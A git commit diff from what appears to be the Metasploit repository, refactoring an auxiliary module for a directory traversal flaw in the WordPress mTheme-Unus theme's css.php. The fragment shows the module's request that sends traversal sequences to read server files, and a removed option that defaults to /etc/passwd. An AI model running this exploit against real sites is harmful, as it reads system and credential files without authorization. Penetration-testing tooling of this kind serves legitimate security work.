Included Wordpress mixin.

bug/bundler_fix
Roberto Soares 2015-04-16 05:02:39 -03:00
parent 0031f09d60
commit c8e1185a04
1 changed files with 2 additions and 3 deletions

View File

@ -9,6 +9,7 @@ class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
include Msf::HTTP::Wordpress
include Msf::Auxiliary::Scanner
def initialize(info = {})
@ -34,8 +35,6 @@ class Metasploit3 < Msf::Auxiliary
register_options(
[
Opt::RPORT(80),
OptString.new('TARGETURI', [ true, "The URI path to the web application", "/wordpress/"]),
OptString.new('FILEPATH', [true, "The path to the file to read", "/etc/passwd"]),
OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 6 ])
], self.class)
@ -48,7 +47,7 @@ class Metasploit3 < Msf::Auxiliary
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(datastore['TARGETURI'], 'wp-content', 'themes', 'mTheme-Unus', 'css', 'css.php'),
'uri' => normalize_uri(wordpress_url_themes, 'mTheme-Unus', 'css', 'css.php'),
'vars_get' =>
{
'files' => "#{traversal}#{filename}"